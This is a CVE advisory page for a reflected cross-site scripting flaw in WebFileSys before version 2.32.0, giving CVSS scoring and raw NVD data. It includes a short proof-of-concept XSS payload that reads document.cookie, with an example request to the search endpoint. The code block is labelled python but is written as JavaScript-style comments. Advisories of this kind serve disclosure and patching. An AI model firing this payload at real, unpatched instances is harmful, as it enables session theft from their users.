Security Vulnerability Report
中文
CVE-2026-29971 CVSS 6.1 MEDIUM

CVE-2026-29971

Published: 2026-04-27 21:16:33
Last Modified: 2026-04-28 20:13:22

Description

A reflected cross-site scripting (XSS) vulnerability exists in WebFileSys version before 2.32.0 and fixed in v.2.32.0. User-controlled input is reflected into HTML and JavaScript contexts without proper output encoding, allowing arbitrary JavaScript execution in the victim's browser via the ftpBackup functionality, authentication input handling, search functionality, and error message rendering components

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WebFileSys < 2.32.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for Reflected XSS in WebFileSys // Targeting the search or error message component // Payload: const payload = '"><script>alert(document.cookie)</script>'; // Example Request: // GET /webfilesys/search?query="><script>alert(document.cookie)</script> HTTP/1.1 // Host: target-ip // If vulnerable, the script executes reflecting the input in the response context.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29971", "sourceIdentifier": "[email protected]", "published": "2026-04-27T21:16:33.267", "lastModified": "2026-04-28T20:13:21.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability exists in WebFileSys version before 2.32.0 and fixed in v.2.32.0. User-controlled input is reflected into HTML and JavaScript contexts without proper output encoding, allowing arbitrary JavaScript execution in the victim's browser via the ftpBackup functionality, authentication input handling, search functionality, and error message rendering components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Tharooon/CVE-2026-29971/", "source": "[email protected]"}, {"url": "https://www.webfilesys.de/", "source": "[email protected]"}, {"url": "https://github.com/Tharooon/CVE-2026-29971/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}